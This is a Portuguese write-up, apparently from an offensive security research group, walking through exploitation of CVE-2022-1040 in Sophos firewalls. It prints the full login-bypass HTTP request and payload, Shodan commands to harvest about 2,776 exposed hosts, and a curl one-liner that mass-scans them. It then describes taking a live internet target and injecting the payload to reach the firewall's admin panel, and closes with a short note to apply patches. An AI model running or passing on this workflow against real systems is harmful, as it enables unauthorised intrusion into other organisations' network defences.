
CVE-2022-1040
No grupo de pesquisa Toasec, dedicado à cibersegurança ofensiva, nos dedicamos a realizar a análise sobre esta vulnerabilidade nos firewalls da Sophos.
Tal vulnerabilidade, como muitas outras, pode ser notificada e encontrada se você souber pesquisar no twitter, onde observamos que desde o mês de março começaram a aparecer artigos sobre o RCE
Se observarmos os repositórios que possuem as POC
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
Podemos observar o payload (mode=151&json=) que nos permite realizar o bypass do login e observamos também o endpoint webconsole/webpages/login.jsp
Agora passamos a analisar os ataques no greynose e verificar se está sendo explorado ativamente

Uma vez identificado o endpoint e verificadas algumas rotas usadas nos ataques com greynoise, podemos criar nosso dork no shodan title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" este dork é o que identificamos com maior probabilidade, mas devemos lembrar que as versões vulneráveis são Sophos XG115w Firewall 17.0.10 MR-10

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
Procedemos a verificar os dados
Vamos parsear os dados para um formato que nos permita a automação e observamos que existem 2776 possíveis targets
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

Agora devemos limpar e remover as vírgulas para que seja mais fácil trabalhar com o onliner
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
Já podemos trabalhar com o onliner em um formato mais adequado
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

Uma vez verificados nossos targets, é só questão de selecionar um e realizar o teste, acessando o painel de login

Interceptamos a requisição de login e a enviamos ao responder

Modificamos a requisição com o payload e devemos ter um redirecionamento para a administração do firewall

Testamos acessando a rota index.jsp

Comprovamos que a vulnerabilidade está presente no objetivo, da mesma forma se encontra ativa em muitos hosts, no entanto, até a data, foi possível observar uma mitigação ampla em relação a outras vulnerabilidades.
Nestes casos, o primordial é realizar uma atualização e instalação dos patches de segurança assim que estiverem disponíveis por parte dos fabricantes.